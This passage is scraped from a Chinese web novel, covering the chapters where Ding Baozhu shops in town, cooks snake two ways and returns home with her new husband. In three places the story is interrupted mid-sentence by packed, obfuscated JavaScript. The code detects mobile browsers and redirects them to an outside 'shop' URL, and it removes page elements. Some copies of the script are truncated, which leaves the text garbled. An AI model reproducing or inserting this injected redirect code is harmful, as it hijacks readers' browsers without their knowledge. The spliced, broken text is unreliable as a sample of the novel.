那回的饼子配上鲜香的香菇虾蓉酱,徐晔和徐翊已经觉得十分美味了,没想到对于丁宝珠来说,这竟然还不是最好的?难道还能更好吃? 徐晔惊奇后,又是心动,就算丁宝珠现下只是在家里装装样子,那也是实打实在做事儿。他原本以为她不演了之后肯定会大发脾气,或是好吃懒做,可这些时辰过下来,小脾气是有,却真是有种要好好过日子的感觉。 虽是这么想,他却习惯地回嘴道: “今天赚钱你是大头,你想买就买些好了,不但可以用在家里,想必还可以用在你那摊子上呢。” 丁宝珠笑而不语,于是又买了小半袋子白面,而像是红豆、红枣、芝麻落花生这些产物,粮食铺里竟然也能买到。 但在她的箱笼内,那嫁妆里已是给她准备了部分干果了,所以最后她只挑了几种买了。 这全是粮食,加在一块儿重量可不轻,徐晔虽然沉默地看着她买这买那,却主动装进筐中背了几袋,两人这才被店主笑着送走。 买完粮食,又到了丁宝珠最喜爱的购买调味料的环节。家里的油盐还有,她就准备买点酱醋回去,还有生粉和豉汁,以及最为重要的糖。 这些几乎是必备的种类了,其实还有些其他的调料,可那太贵了,也不必要。 照旧包了几包红糖与白糖,丁宝珠继续逛着,忽然见到两旁零散的卖粮食的地方有卖麦子,倏忽想到了什么,连忙又买了点。 徐晔疑惑问道:“不是已经买了面吗?咋还买麦子?” 丁宝珠笑道:“芝儿不是想要吃糖果子么?我给她做个低配版的解解馋,还有过段时日就是寒食了,这个正好能做吃的。” 徐晔不明白,可看她这样有信心和兴致,也就随她去了,又说道: “既然这样,那还要再去买点生果,正好明日回礼,带点生果也是好的。” “行啊,你对这镇上应该比我熟悉,你知道哪里有卖那糖果子的吗?”丁宝珠问道。 徐晔不解,但每次他自己上街,徐莹徐芝都会悄悄求他带点吃的回来,特别是甜食,当然她们不说,自己也是会带的,而且丁宝珠说要做糖果子,也不可能一下子就做出来,他仍然准备带两串回去。 “好,你和我走。” 徐晔答应着,又行走在大街小巷中,果然就找到了个卖糖果子的小贩。丁宝珠远远看去,还真的是立着个稻草杆子,上面的空档插着各色糖果子,估摸着都是应季的生果做的,可很多都是红艳艳的,靠得越近,越能看清上面裹着的一层晶莹的糖,瞧着就非常引人食欲。 而丁宝珠还发现,这卖糖果子的对面不远处就是一个生果摊,不禁让她想到自家爹和小叔叔丁绍的合作了。 徐晔熟门熟路地先买了两根红色的糖果子,这糖果子比她卖的凉糕还贵,想必就是贵在那冰糖上了,也怪不得徐莹徐芝都抗拒不了。 但是这可能要到镇上才能买到,可孩子们又不能天天来,要是她做个低配版,也不知能不能在村里卖? 徐晔此时又对她道:“你要不也买一串吧。” 都这么问了,不吃倒显得自己拘束着,她便也选了一根一并付钱。 但丁宝珠没有选那山里红做的,而是另选了一根,那小贩见了后笑道: “这李子糖果子是用才摘下来不久的做的,总共也没多少,娘子眼光真好。” 丁宝珠听出是恭维,却也仅是也笑了笑没回复,就与徐晔离开了。 “走吧,咱们再去拿生果摊子瞧瞧。” “你倒是奇怪,别人都吃山里红、海棠果做的糖果子多,你偏要吃李子的,这时节的李子可酸了,比山里红还酸呢。”徐晔不明白。 说这话时,丁宝珠早已是咬了一颗糖李子下来,又凉又脆又甜的糖层咬破后,就是那脆生生的李子肉,一股清爽的酸味袭击了舌腔,但有那甜滋滋的冰糖,就成了酸酸甜甜,十分开胃。 “你不懂,它已经裹了层糖了,就该用酸的压下,况且酸的还开胃呢。”丁宝珠一副款款而谈的神气,伸过去道,“再说了你不是不爱吃太甜的么?你尝尝,合不合你口味?” 徐晔差点就要去吃,但及时停下了,睨着那最顶部的果子已经吃掉后出现的竹签尖尖儿,不悦道: “大庭广众的,啥样子?我不要。” “哦,随便你啦,那我就吃完了。”丁宝珠说着,又直接吃了个糖李子,鼓在一边腮上。 来到生果摊子,那小贩热情地招呼道: “小哥,娘子,要不要瞧瞧果子?都是才新鲜摘的,李子、林檎、山里红、荸荠,可好吃了!” 徐晔问道:“你喜欢吃啥果子?咱们买些。” 丁宝珠挑了挑果子,的确都是差不多新鲜的,又见到那荸荠、林檎和圆溜溜的山里红,灵光一闪,全都让小贩称了些,小贩见她买得较多,乐得忙不迭去称重。 徐晔更看不明白了,方才还是一副不爱吃山里红的样子,怎么转头就又买了?还有另两种,是她爱吃的么?还是她的家人? 丁宝珠吃完糖李子,意犹未尽地擦擦嘴,又放下筐翻了翻,便向徐晔说道:“好像买的差不多了,要不要回去?回到家后不久也要做晚食了。” “确定买齐了?”徐晔今天跟着来,大概就是为了出钱和出力的,但其实明天要去丁家,他莫名也有些紧张,只想在那之前都是万无一失的。 见丁宝珠答应,他顿了顿,又问: “话说你真不用买些胭脂水粉啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这还是丁宝珠第一次正面听见徐晔喊她的闺名,又替她做了那口舌,心里稍许舒畅了。李银屏狐疑地瞅了几眼,去可见前者那脸色,在她眼里总像是在炫耀什么,便冷声道: “傻孩子,那蛇胆蛇油不还是你和你爹去捉的那些蛇里取的?就算是她卖出去的,那不也是你的钱?再说过段日子那镇上就开市了,等那时候去买不也便宜些?你如今成家了,也要学着会过日子才行啊!” 丁宝珠听着这番指桑骂槐,不想忍了,一开始她是懒得和李银屏说话,现在难道还要她忍? 她把那些用来做吃食的材料都放在一个筐里,随即便回了个皮笑肉不笑道: “我说姨母,明儿我就带着徐晔回我家了,也要备礼,钱都是爹给的,多买也是爹吩咐的,不信你就去问,我俩只是听爹的话而已,莫非姨母不乐意?不乐意也无所谓,反正也不能退了,您就当啥也没见着吧。” 说完,她就带着筐子回了屋,徐晔踯躅了下,也跟着她走,徐莹徐芝一看情况不对,也是一溜烟离去,只有那李银屏站在原地怒目而视。 还好等到丁宝珠来到灶房时,她事先预备的食材倒是没被扔掉。 她还带了一部分调味料过来,沿锅边放好了,于是她挽起袖子——要开始做晚食了。 36. 一蛇双吃 徐晔这时也进来,不仅如此,他还带来了一样东西。 原来正是那条已经被徐翊提前处理过的长虫,之前要取胆取脂,徐晔又讲了儿媳妇要料理,眼下更是只剩蛇肉了,倒省得丁宝珠去做。 那条没有毒性的蛇长得比手臂还要长些,丁宝珠见到便笑起来,道: “这条蛇长,我就把它斩了,然后做个一蛇两吃怎么样?” “你看着做就行。”徐晔递过那一整条蛇来,“先前我们也是捉到过没毒的草蛇回来的,只是煮了吃也不咋好吃,后来干脆不吃了,你要是能做得好吃,也是你厉害。” “那你就去等着好了,瞧瞧我能有多厉害。” 徐晔出了灶房,丁宝珠就挥刀将那条蛇先给斩了一半,并且都切成了大小均匀的段儿。她准备一半做炸肉段,一半则是与山笋一起炖汤。 即使是徐家,灶房里也有两个灶头。丁宝珠在灶膛里生了火,先把蛇肉焯水,撇开沫子,再盛出洗净,接着切了姜片蒜瓣下锅爆香,继而放入蛇肉和山笋,炒过后再加水和一些酒去腥,就能开始熬了。 另一个炸蛇段更简单,蛇肉用新买来的各种调料腌制后,表面再裹上细粉烧油炸,直炸得表面金黄才捞起,甚至还要再复炸一遍。 灶房里很快就弥漫起满满的热气和香味,这多了后,又溢出到院子里,院子里又飘出了门外。 但徐家为了方便上山,家就住在偏僻的山脚下,而其他村民还是习惯群居,这导致徐家的附近竟然没什么邻居,四处飘散的气味也就仍是环绕在原点了。 而住在自家的徐莹徐芝在意犹未尽地吃完糖果子后,就在屋中练着针黹,嗅到那香味后讶异道: “大哥大嫂去镇上难道还买了肉?咋能这么香?” 李银屏哼了一声,只是说道:“谁知道你们大嫂使了啥法子,让你们大哥甘愿买那么多东西回来,你们就等着吃吧!” 徐莹抱怨道:“娘,你就不能少说点么?大哥娶了大嫂回来,难不成还能休了她不成?依我看,那村里的闲言碎语估计也不能全信,不然她还能忍到现在?” 李银屏在她脑壳上戳了她一下,不悦道: “她才进来多久?你就向着她了?吃人嘴短!” 徐芝也在一旁道:“娘,你看不惯大嫂,不理她不就成了?还有她给你做吃食,以后也不用你早早去给爹和大哥带饭了,还不好?” 李银屏撇了撇嘴,最后只好说: “行了,姑娘家家的,管这些做啥,还不赶紧接着拿针?” 锅里咕噜噜响动着,时间一转而过,徐晔抱着黑虎抚着狗头,抬眼见大红大紫的黄昏沉静,院里的一切好像都覆上了一层温暖的金色。 而怀里的黑虎自然早就嗅到了那浓郁的香味,不停地吐着舌头,就差没再流下一串琉璃吊坠了。 徐晔轻拍了拍它的脑袋,小声道: “没出息。” 黑虎呜呜了几声,但那香味的确是一时半会儿都散不掉的。 就在这时,灶房门口出现了丁宝珠的身影,朝他挥了挥手喊道: “徐晔,你把桌椅摆上,马上就能吃饭了!” 徐晔手一松也站起来,答应了,除开午食凑不齐人,早食晚食时都有这个前置的事情。 可在这种场景里,他蓦然有了一种恬静的感觉——娶了媳妇儿就是要过一辈子的,以丁宝珠往昔的威名,他始终不觉得能持续一世,可现在却有了种能够平平淡淡继续过日子的滋味。 听到外面在摆饭桌的声音,徐莹徐芝和李银屏也出来了。丁宝珠就从灶房端了盘碗碟筷,放了一桌子。 李银屏朝门外瞅了瞅,对徐晔嘱咐道: “晔儿,你去外面瞧瞧你爹回来没。” 徐晔应了,转身就去,丁宝珠则是一来一回地端着菜。 李银屏发现桌上没有饭盆,也没有饼子,不禁问道: “晔儿媳妇,饭呢?你没做?” 丁宝珠回答道:“姨母,我做了蒸面菜,可以当主食吃的,到时你尝尝。” 徐莹徐芝顺势一看,只见旁边有一大盘白绿白绿的条状物,配一小碗深色蘸料。徐莹想到什么,不可置信地问: “大嫂,这东西难道是那个毛毛虫?” 丁宝珠笑道:“是啊,你们也尝尝,看看合不合口味。” 这是她做的最后一道菜,把那冲洗干净的构树穗也焯了水去苦味,晾干后再裹上混合过后的荞麦面粉,让每一根树穗都裹上一层厚厚的面衣再上锅蒸。 蒸构树穗的时间不易太长,否则那口感就会变老,所以丁宝珠才选择最后做。 只是光这样做,那味道也太简单了些,于是她还特意调了一碗蒜末调料。 另外还有那盘炸蛇段,只是被彻头彻尾地处理又料理过,它看上去和黄鳝什么的没啥区别。 看丁宝珠把中间空出来一块儿,徐莹又问: “大嫂,还有菜没端吗?” “嗯,还有一道汤呢,只是爹还没回来,就再炖一炖,能更鲜。” 徐翊作为一家之主,他不动筷,其他人都是不能动筷的,只能继续等着。 好在徐翊徐晔很快就回来了,放下农具,又擦了把脸上桌来,李银屏问道: “当家的,今天咋晚回来了?” “嗐,也没啥,就是回来时路过那丁家,和老丁聊了几句罢了。”徐翊说着,又有意无意地对徐晔笑道,“明儿就是回门礼了,老丁都已经把宴席都预备好了,就等迎女婿了呢。” 徐晔微微垂头不语,徐翊忽然发现那另一个主角不在,问道: “儿媳妇呢?咋没上桌?” 李银屏正想开口,丁宝珠却已经一边过来,一边插嘴说: “爹,我去端菜了,这就来。” 她用抹布拿着汤碗,来到桌前就置在了中间那空处,又道: “我还熬了汤,最后才上的——爹刚刚在说什么呢?” 徐翊一瞧那热气腾腾的清澈汤水,又见那炸的金黄的肉排,就知道丁宝珠是料理了那条蛇,便笑着重新给她讲了丁家的事儿,又叮嘱道: “今晚你们早些睡,明天一大早就要回门的。” 丁宝珠和徐晔答应了,接着大家就一齐动筷。 那裹上面粉的构树穗吃起来绵柔软糯,有着一股自然的清香,再蘸上那料汁,更是回味无穷。徐翊吃着吃着,不由得说道: “这东西感觉也能炸着吃,就像吃炸小鱼儿那样,就适合下酒了。” 徐莹笑道: “爹这是想喝酒了,上次还是去大嫂家里才喝到的。” 丁宝珠也笑道:“既然爹想喝了,我做的那酒曲方才去看过,已经开始发酵了,我又买了糯米,到时咱家就能喝上自酿的米酒了。” 徐翊想起了什么,点点头道:“那正好,过段日子恰好是需要酒水的时候,也不用再去特意买了。” 徐晔听到这,手里的筷尖顿了一顿,没有出声。 徐芝夹了块儿蛇肉段吃,毕竟年纪小的都爱那油炸之 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徐莹不好意思起来,这一大桌子菜都是大嫂辛苦做的,她怎么能因为害怕就撂筷不吃呢?何况这菜实在是太香了,香到她慢慢地大概也能克服那恐惧,所以最后,她仍是小心地继续吃。 徐晔在一旁舀了一碗汤给徐翊,说道:“爹,你喝。” “诶,这么大一碗,你们都喝。” 徐翊答着,饮了口已经少许冷却的汤水,只觉得格外鲜美,不知那蛇肉到底能不能吊鲜,可那山笋却是正经的鲜美之物,在汤里已切成了薄片。整道汤虽是清淡,那味道却是不腥,又是大补的,所以喝下后,只觉得浑身都暖融融的。 汤里也有几块蛇肉,这下比起那炸蛇肉段儿更能看出模样了,好在在处理蛇的时候将那蛇皮也给剥了,只剩白嫩嫩的肉。丁宝珠吃了一块,那又细又紧的口感与田鸡相似。 就连那李银屏也彻底闭了嘴埋头吃着,而徐晔也多喝了两碗蛇羹,忽然觉得是时候可以再寻机会去捕蛇了。 从惊蛰后,长虫就开始苏醒、频出,并且长得愈发肥了,既然已经和那胭脂水粉铺子的老板说好了,那他完全能多去捉蛇熬蛇油,不比卖鸟儿赚得多? 吃着吃着,就又是一场光盘行动,徐莹徐芝摸着自己吃饱的小肚子,感觉很少有这样餍足的时候,还主动帮忙去洗了碗筷。 村里人吃过饭没多久就要睡下了,丁宝珠想着明天要起个大早,也准备提早睡了,谁知她才躺在床上,那徐晔这时却推门进来,不仅如此,他还多提了一桶热水。 两人大眼瞪小眼了一会儿,一起开口道: “你今天又去烧热水了啊?” “你今天不洗澡吗?” 沉默,仿佛是今夜的弯月。 丁宝珠搔搔脑袋,她既然到了这里,当然不能再期望能有穿越前的条件,而且自己也都想明白了,再说连续烧热水要是被李银屏发现,那还不得被蛐蛐死? 可没想到的是,徐晔竟然主动去给自己烧了热水! 她思索片刻,先出声道: “这热水烧了也别浪费了,要不……咱们分了,然后泡脚吧?” 打破了尴尬,徐晔就坡下驴,提着水桶就进了屋。 不得不说,把双脚泡得热乎乎地再躺下,果然能睡得更安稳香甜,他们很快就睡着了。 只是丁宝珠发现,那徐晔,似乎还是不敢看到自己的脚…… 37. 元宝馄饨 翌日回门,两人都不敢晚起,隐隐约约听见那鸡叫便各自醒来穿衣洗漱了。 丁宝珠今天又把那艳色的新衣给穿上了,反正对于一个村里人来说,一件衣物那向来是缝缝补补起码撑三年,又是一件新衣,用来成婚,平常自然能再穿。 这里也没能清洁的工具,所以丁宝珠仅用淡盐水漱了口,又给自己绾了髻,徐晔拿来了背筐,里面放着早买好的回门礼。 迎亲洞房那天,他要么是光看那套衣裳,要么是醉了不清醒,竟是头一回见到这样完整上身的丁宝珠,那大红的颜色反倒衬得她更净白了些。 徐晔不禁揉了揉自己的眼。 奇怪……他怎么会觉得有点好看? 直到丁宝珠自己满意了,那些携带的物品又检查无误,两人各背了一个筐子,就要出屋出门。 徐翊依旧要去田里,见两人要走,开口问道: “不垫补垫补么?” 丁宝珠笑道:“不用了,爹,我们早点去,也好早点回来。” 幸好这些事柳萍都对她讲过,这新媳妇儿的回门礼是不能在娘家住下的,几乎都是落日时就要重新回到夫家去。 徐翊还没说什么,那李银屏却插嘴道: “当家的,我看你丁大哥那一定是早准备好了吃食,就急着等新姑爷去呢,不劳我们费心,你就放他们走吧。” 这话讲的,好像丁家是急着强着要嫁过来一样。丁宝珠鼻尖一动,却浅笑道: “姨母说的是,我爹我娘那是喜欢徐晔这个姑爷,自然要好好招待了。徐晔,我们走,我家的早食,肯定比素日里的好吃多了!” 她已经习惯了怼完就溜,这个情节再去看对方吃瘪的神情不太合适,以她俩的脾气,那就没停的时候了。 浸着凉意的清晨盘旋着一层薄雾,甚至还没多少农人下地,而离丁家越近,却越能感觉那里反而显得热闹,房顶上已经有了袅袅炊烟。 丁宝珠笑道:“我家里还真在做吃食了,肯定也在等我们,我们快走吧!” 徐晔看她那欣喜样,却只是提醒道: “慢点,看你猴儿急的,泥巴溅一身!” 而就在这时,突然有一句喊声传来: “大姐!这里!这里!” 丁宝珠望去,果然是丁宝琴在门口,看起来比她还要急不可耐,还没完全到门口,她自己就上前笑道: “大姐,大姐夫,娘想着你们会早来,在做早食呢,咱们快进去吧!” 丁宝珠没觉得啥,被丁宝琴拉着就要进屋,可在后面的徐晔听见那声称呼却愣了愣,默默不语地跟着去。 “哎哟,新姑爷来了!” 恰巧柳萍从灶房出来,她在腰间绑着的围裙上擦了擦手,笑着迎了上去: “知道你们早来,你爹你妹妹都在屋里等着呢,背的东西快放下,等会儿就能吃早食了。” “好的,娘。”丁宝珠答应,又环视了圈,养的那几只鸡咕咕响着,更显院里只有二房一房在忙,便问道,“娘,怎么那么安静?其他人呢?” 她倒是不期望别人,特别是大房以及蒋氏过来迎新姑爷,只是今日未免太安静了点。 “人都不在,当然安静,特别是你那堂弟弟要去县城里考试,就有家人陪着,早出发了。” 柳萍解释着,丁宝珠默然,反正大房发生了什么,和他们也没啥关系。 进了屋,丁宏和丁宝珍也迎了上来,几人笑着闲话几回,那当中的大方桌子也已摆上了。 前者拍着徐晔的肩膀笑道: “新姑爷和我坐好了,这么早赶来,一定没吃早食吧?” 徐晔恭敬道:“我都听岳父的,听我爹说岳父也喜欢喝酒,特意选了一坛好酒来,还请岳父笑纳。” 哟呵,还成笑纳了?丁宝珠抿了抿唇。再说那酒明明是自己买的好不好? 这徐晔,必要时候也没那么不近人情,也不是个闷葫芦嘛。 柳萍自从他们一进门就在更默默地观察了,这几天对她来说当真是度日如年,虽然在迎亲之前,丁宝珠已经努力在丁家人面前转变了些许性子,但做娘的哪能不清楚从身上掉下的那块肉的心思?所以她仍然担心她和新姑爷在一块儿还是会变得针锋相对。 可直到眼下,她却是没察觉到,丁宝珠还是离家前的模样,姑爷虽是话少了些,但也没有什么厌恶之情,也就暂且放下了心。 提到酒水了,也是带来的回门礼,丁宝珠干脆先全部取了出来。一包细盐,一包白糖,一坛醇酒,还有几包糕点。 其实这回门礼也是个必要的过程,这礼成了,两人才算是真正结成了秦晋之好。况且他们送了礼来,娘家人是还要回礼的。 丁宏听了又见了,喜上眉梢,从衣里掏出了两个荷包来塞过去,笑道: “好女婿,好女儿,这个你们收下,别拒绝,只要你们今后过得好,我们也就放心了,以后就安安心心过好日子吧。今儿留下来吃两顿饭再回去,姑爷得和我喝几碗才行!” 丁宝珠接过那荷包,满满当当都是铜钱,笑嘻嘻道: “谢谢爹!看来爹最近赚得挺多呀?” 这时节吃鸭好,看来丁绍的那批鸭子已经被卖出去了,两家合作,赚的钱都是平分的,想来这次生意做得蛮好。 徐晔接下荷包后也作了个揖道:“多谢岳父,今天我来,自然有要陪您的道理,您又和我爹是兄弟,我爹也讲了,让我一定听您的话。” 丁宏哈哈大笑道:“嗐,这有啥的?你既做了我的女婿,又来了我家,就别那么拘束,当自己家一样就好了,知道么?” 丁宏和徐晔聊着,丁宝琴就在丁宝珠这里按捺不住地问: “大姐,快让我瞧瞧你买了啥糕点?” “急吼吼的,一会儿不是就吃早食了么?现在吃了,哪还有空儿?” 丁宝珠虽是这么说,到底是打开包装给她看了,只见里面放着形形色色的糕点:有栗糕、枣糕、蜂糖糕和云片糕,十分精致,一看就是去镇上买来的。 另外还有些林檎和李子,也是彼时一块儿买的,就也带了过来。 “你大姐说的没错,还是等吃完早食了再尝尝。”柳萍劝道,又说,“珍儿琴儿,和娘去端碗去。” 两人应了,就和柳萍离开,不消一会儿,她们端来了几个大碗,上方冒着缥缈的热气,显然是刚出锅的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361233|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丁宝珠眼尖,一下子就看到里面的汤水间浮着一个个饱满的宛如元宝似的大馄饨,心里高兴。大馄饨既能填饱肚子,喝那热汤又能暖身,做早食是再好不过的。想必家里肯定是去买了面,又做了馅儿,费钱费力的,也说明对这场回礼十分重视。 “大姐,大姐夫,昨天我们就在包馄饨了,还包了不同的馅料,你们尝尝。” 丁宝琴自来熟地说。丁宝珠则是搓搓手馋道:“好的呀,我可是最爱吃大馄饨了,没想到娘就做了,咱们这是心有灵犀!” 徐晔跟着丁宏坐,丁宝珠没去和他一起,正巧柳萍与她坐了,擦净的手抚了抚她的脑袋,故作埋怨的口吻打趣道: “你这孩子,你想啥娘能不清楚?你眨个眼出个声,娘就明白你要说啥!还什么心有灵犀呢,往日里我们难不成就不是这样了?行了,快吃吧,小心烫。” 徐晔在对面回着丁宏的话,抬眼却见到这幕场景,心里不由得升起一阵惘然。可他也明白不能在这时露出情绪,也只是接着回复去了。 大馄饨做了三种馅儿的,但都是一种菜混着猪肉,分别是韭菜、茼蒿和最为经典的芥菜。这大馄饨必须要菜肉馅儿的,菜要切得细碎,肉要用瘦肉,吃着才清爽,若是全肉反而会觉得腻味。 除此之外,那汤底里还要撒上汤料,只是和丁宝珠回忆里的不同,不过这里也没那条件,仅仅是盐和芝麻油,就已经非常香了。 看来自己先前买的那些调味料,家里也在用。丁宝珠用勺子舀起一个馄饨,小心翼翼地咬了一半,因为温度而呼呼了几声,只觉得那馅料尤为鲜香紧实,熟悉的味道涌在口中,是那芥菜肉馅的。 一家人呼噜噜各吃了一碗馄饨,不但浑身暖和,额上更是出了层细汗,也把那汤喝得一滴不剩。 植物油比动物油贵,徐晔可以说基本没吃过芝麻油,那几滴就能散发出与猪油完全不同的香味的油,他不过是多喝几口汤,丁宏和柳萍就又给他滴了,吓得他连忙推让,但心里却和那汤一样暖。 丁宝珠在一旁见了,却也没说什么,直到众人都吃完,她才说道: “娘,我和你一起去洗碗。” “哎呀,你这个新媳妇忙这些做啥?就再坐坐,几个碗罢了!”柳萍一边收拾着碗一边摇头道。 丁宝珠却笑着说:“正因为是新媳妇,这些不都是我该做的么?再说我和你们的新姑爷都那么熟悉了,让别人再熟悉熟悉去。” 柳萍瞧她似乎有话说,也只好答应。徐晔听她那样讲,心里觉得不太自在,他不习惯在生人面前待着,长辈倒也算了,对小辈他实在不知该怎么接触。何况他这两个小姨子还是黄花大闺女呢! 看丁宝珠仍是和柳萍离开,他只好问: “岳父,不知道家里有没有活计要做?我还是有几分力气的。” 丁宏本就见过他小时候,听闻这话,心里对他就更是满意了,笑道:“哪有新姑爷第一次上门来就干活的?今天是回门礼,你等着吃席就行了,实在不行,到时候忙起来,你就去打打下手好了。” 都这么说了,徐晔只好答应,而丁宏还要外出做事,几次叮嘱前者定要多留,这才离家,不在话下。 38. 凉糕旧事 丁宝珠和柳萍在室外打了盆水洗碗,她见四下无人,便小声问道: “娘,你知不知道关于我那婆母的事情?” 柳萍立刻紧张起来,问:“咋了?你和她起冲突了?” “哎呀,娘,你别这么紧张,我和她也不算有什么的。” 丁宝珠摆了摆手,实际上也确实如此,那李银屏只是看不惯她说话还刻薄,自己也都顶回去了,也没恶到明着虐待自己,比起这个,她其实有更想问的问题。 “我只是想知道些内幕,因为我听徐晔喊她叫做姨母,但是他那两个妹子倒是喊娘。” 这也不是丁宝珠八卦——明白多些之后才能继续一块儿过嘛。 柳萍想着不知心,好歹也要知人知面,便叹了口气道: “说那话长也不长。你夫君叫她姨母,那自然是他娘的姐妹了,这事儿当年村里人几乎都知晓,不过有些事也是我从你爹那听说的。你夫君出生时她娘难产,最后好不容易生下来,没几天就撒手走了,可怜他压根就没见过他亲娘。你公公实在悲痛,硬是先守了孝,可他要上山,你夫君年纪又小,住得也偏僻,家里不能没有女人掌事照顾孩子,后来你公公就娶了他娘的亲妹子,就一直到了现在。至于他为啥只叫她姨母,那我也不晓得了。” 丁宝珠静静听着,听到最后也没有表态。毕竟在她那儿,生育都不能说是完全安稳的,更别说是这里了,柳萍不也是生了姐妹仨后,那身子就不大好了么? “唉,这事情以后少提提,都是伤心事。”柳萍自顾自说道,又再低了两个调问,“珠儿,你和姑爷……相处还好吧?姑爷他待你咋样?你公婆呢?” “娘,你就放下心吧,要是我在那不好了,消息估计早就传过来了,哪有这么安静?”丁宝珠自嘲道,又说,“徐晔他算是挺向着我的了,两个小姑子也礼貌,这也就够了。” “毕竟之前发生了那么多事,我担心担心总有理由吧,你那性子,我真怕闹得天翻地覆的。”柳萍无奈地摇摇头。“而且你可别报喜不报忧啊,今后还有那么长年日呢。” 洗完碗,柳萍就要开始准备午食了,只因是回门宴,所以要比其他时候备的菜更多。丁宝珠还想帮忙,却被前者赶到屋头去了。 丁宝珠只好去,结果就见到丁宝琴缠着徐晔,要他讲上山打猎时的故事,毕竟除了猎户,几乎没人敢去象山深处。 察觉丁宝珠进来了,徐晔立马缄默地看向她,眼里仿佛只有一句话: 救救我救救我救救我…… 丁宝珠抿唇一笑,再说道: “娘在备菜了,你们……” “我去打下手!” 话音未落,徐晔瞬间就站起来走来,离了两个小姨子,他的脸上终于多了些轻松。 虽说今天是媳妇儿回门,可他这个女婿总不能什么也不做。丁宏手里又没有田地,也不像他自己要去打猎,屠行的事他也不懂,所以他只能见缝插针地去打打下手了。 丁宝珠拍拍他的肩玩笑道:“这么急着去给丈母娘献殷勤啊?” 徐晔瞪了她一眼,但看上去一点也没有威慑力,在丁家就更不会做啥了。他顿了顿,才问道: “你三婶呢?” 丁宝珠疑惑道:“她应该和我三叔一起出门了,怎么了?” “没啥,就是问问。”徐晔说道,“你不清楚,迎亲那日吃喜宴,你三叔三婶也来了,还随了一篮鸡子过来,所以也喝了几盏酒才走的。不管怎样也是亲戚了,我就问一下。” “原来如此……” 丁宝珠突然想到自己刚穿越过来时,姚丹就说过一定要去喝自己的喜酒,原本还以为是句人情世故方面的闲话,没想到竟是一句真话,不禁让她感到有点感动。 可她倏忽又想起什么,蹙眉问道: “一篮鸡子?那我也做过几顿饭了,怎么也没发现?” 要是有鸡子,那她能做的吃食种类也就更多了,而且这是三房的随礼,不光她吃得,一家子都能吃得。 徐晔听她这么问,反射极慢地挠了挠头,他只记得自己也是要去迎那些来吃席的客人的,倒是不怎么去收礼,收礼的人……好像是他姨母? “这……” 徐晔不知该怎么回复,毕竟他们家一向吃得简单,这简单也不是说食材简单,家里还是能够吃到肉的,但是烹饪的花样就显得很随意了,所以丁宝珠一出手,反而有种惊艳的感觉。 之后他又喝醉了,再醒来就忘了那篮鸡子,可总不会凭空消失吧? 过了会儿,他才支吾道: “那随礼也不是我收的,是家里人收的,可能先放起来了?等回去后我们找找。” 丁宝珠瞧他那样,心里就明白了大概,哼笑道: “不用找了,说不定已经找不到了,不过是一篮鸡子,藏得和什么宝贝似的,也不怕捂坏咯,反正我又不是没吃过!” 徐晔浅浅红了脸,又默默地去外面给柳萍打下手,丁宝珠这才进了屋。 丁宝琴笑问道:“大姐,你和姐夫嘀嘀咕咕在那说啥呢?这么久!” 丁宝珠尚未回答,一旁的丁宝珍却笑道: “人家夫妻说些悄悄话还不行?你这个姑娘家家的问这么明白做啥?” 丁宝珠笑而不语,只是又去拆了那些糕点出来,重新分了分,问道: “宝菱和宝姜在不在?” 丁宝珍道:“宝姜跟着三叔三婶一起出门了,宝菱倒是在,只是奶奶也在,估摸着她们是在一块儿的。姐,你这糕是要分过去么?那宝菱那儿……” 若说宝琴、宝菱和宝姜年龄还小,可丁宝珍丁宝珠都长大了,哪能瞧不出蒋氏是有些重男轻女在身上的,要是某些人在,这送过去的糕点,指不定吃不到宝菱的嘴里。 “丁笙不是去县里参加考试了么?奶奶留在家里,就算想把糕点留到她的好孙儿回家再给他吃,那也早放坏了,而且现在她还和大房一家走得近,她还没糊涂到这个份上。” 丁宝珠说着,就新包了两包糕点,里面每个种类都有,拿了一包给丁宝琴,让她去大房给了,自己再坐在床上,笑着问: “你今天怎么没去邻村纺庄那了?” “今天你回门,家里必定要开席的,我当然要留下吃顿好的,而且纺庄那也不用天天去。”丁宝珍解释道,看着前者绾起的妇髻,又揶揄道,“姐,你现在嫁为人妻了,是时候该学学女红了吧?不然你都没法给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370038|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你夫君做个啥的!” 在丁宝琴那个年纪时就该学习女红了,只是原主实在不听话,坐也坐不住,比起拿针,她天天挥刀更熟练些,柳萍试过几次也心累,只能放弃,导致她直至今日也是对女红一窍不通。 丁宝珠清楚丁宝珍没什么多余的意思,便同样用打趣的语气说道: “家里谁不知道你最会女红,连娘也比不过,怎么,难道你也想嫁出去,然后给自己的夫君做衣纳鞋了?” 丁宝珍果然登时红了脸,上前来捶着粉拳气道: “姐嫁了人懂得多了,现在就拿我来说笑了,该打!” “好了好了,咱们都各退一步,我还有事儿要问你呢。” 就在这时,丁宝琴也回来了,她脱了鞋也上床,拿起一块蜂糖糕就吃,还主动说了去大房时候的见闻,不过也没啥稀奇的,虽是送了糕点,那蒋氏也没啥话能对二房的人说,丁宝菱却是道了句谢。 仨姐妹各拿了块儿糕吃,丁宝珠问道: 